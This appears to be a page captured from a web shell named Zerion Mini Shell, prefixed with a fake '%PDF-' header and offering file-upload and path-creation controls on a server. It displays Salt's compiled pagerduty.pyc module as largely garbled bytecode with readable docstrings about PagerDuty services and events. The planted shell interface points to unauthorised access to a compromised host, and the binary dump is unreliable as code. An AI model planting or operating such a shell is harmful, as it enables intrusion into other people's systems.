%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/pagerduty.pyc

�
���^c@@sdZddlmZmZmZddlZddlZddlZddl	m
Z
d�Zddd�Z
ddd�Zddd�Zddd	�Zddd
�Zejjjed�Zddd�Zejjjed
�Zdddddd�ZdS(u�
Module for Firing Events via PagerDuty

.. versionadded:: 2014.1.0

:configuration: This module can be used by specifying the name of a
    configuration profile in the minion config, minion pillar, or master
    config.

    For example:

    .. code-block:: yaml

        my-pagerduty-account:
            pagerduty.api_key: F3Rbyjbve43rfFWf2214
            pagerduty.subdomain: mysubdomain
i(tabsolute_importtprint_functiontunicode_literalsN(tsixcC@stS(u>
    No dependencies outside of what Salt itself requires
    (tTrue(((s:/usr/lib/python2.7/site-packages/salt/modules/pagerduty.pyt__virtual__scC@s,tjjjddtd|�|dt�S(u�
    List services belonging to this account

    CLI Example:

        salt myminion pagerduty.list_services my-pagerduty-account
    uservicesunameu
config.optiontopts(tsalttutilst	pagerdutyt
list_itemst__salt__t__opts__(tprofiletapi_key((s:/usr/lib/python2.7/site-packages/salt/modules/pagerduty.pyt
list_services%s
cC@s,tjjjddtd|�|dt�S(u�
    List incidents belonging to this account

    CLI Example:

        salt myminion pagerduty.list_incidents my-pagerduty-account
    u	incidentsuidu
config.optionR(RRR	R
RR(R
R((s:/usr/lib/python2.7/site-packages/salt/modules/pagerduty.pytlist_incidents6s
cC@s,tjjjddtd|�|dt�S(u�
    List users belonging to this account

    CLI Example:

        salt myminion pagerduty.list_users my-pagerduty-account
    uusersuidu
config.optionR(RRR	R
RR(R
R((s:/usr/lib/python2.7/site-packages/salt/modules/pagerduty.pyt
list_usersGs
cC@s,tjjjddtd|�|dt�S(u�
    List schedules belonging to this account

    CLI Example:

        salt myminion pagerduty.list_schedules my-pagerduty-account
    u	schedulesuidu
config.optionR(RRR	R
RR(R
R((s:/usr/lib/python2.7/site-packages/salt/modules/pagerduty.pytlist_schedulesXs
cC@s,tjjjddtd|�|dt�S(u�
    List maintenance windows belonging to this account

    CLI Example:

        salt myminion pagerduty.list_windows my-pagerduty-account
        salt myminion pagerduty.list_maintenance_windows my-pagerduty-account
    umaintenance_windowsuidu
config.optionR(RRR	R
RR(R
R((s:/usr/lib/python2.7/site-packages/salt/modules/pagerduty.pytlist_windowsis	
ulist_maintenance_windowscC@s,tjjjddtd|�|dt�S(u�
    List escalation policies belonging to this account

    CLI Example:

        salt myminion pagerduty.list_policies my-pagerduty-account
        salt myminion pagerduty.list_escalation_policies my-pagerduty-account
    uescalation_policiesuidu
config.optionR(RRR	R
RR(R
R((s:/usr/lib/python2.7/site-packages/salt/modules/pagerduty.pyt
list_policiess	
ulist_escalation_policiescC@s�d}t|tj�rRtjjj|�}t|tj�rRi|d6}qRntjjjtjj	j
dddtd|�d|di|d	6|d
6dd6|d
6|d6d|dt��}|S(ue
    Create an event in PagerDuty. Designed for use in states.

    CLI Example:

    .. code-block:: yaml

        salt myminion pagerduty.create_event <service_key> <description> <details>         profile=my-pagerduty-account

    The following parameters are required:

    service_key
        This key can be found by using pagerduty.list_services.

    description
        This is a short description of the event.

    details
        This can be a more detailed description of the event.

    profile
        This refers to the configuration profile to use to connect to the
        PagerDuty service.
    uAhttps://events.pagerduty.com/generic/2010-04-15/create_event.jsonudetailstmethoduPOSTtprofile_dictu
config.optionRtdatauservice_keyuincident_keyutriggeru
event_typeudescriptionturlR(
t
isinstanceRtstring_typesRRtyamlt	safe_loadtjsontloadsR	tqueryRR(tservice_keytdescriptiontdetailstincident_keyR
ttrigger_urltret((s:/usr/lib/python2.7/site-packages/salt/modules/pagerduty.pytcreate_event�s$
(t__doc__t
__future__RRRtsalt.utils.functoolsRtsalt.utils.jsontsalt.utils.pagerdutytsalt.extRRtNoneRRRRRRt	functoolstalias_functiontlist_maintenance_windowsRtlist_escalation_policiesR&(((s:/usr/lib/python2.7/site-packages/salt/modules/pagerduty.pyt<module>s 		

Zerion Mini Shell 1.0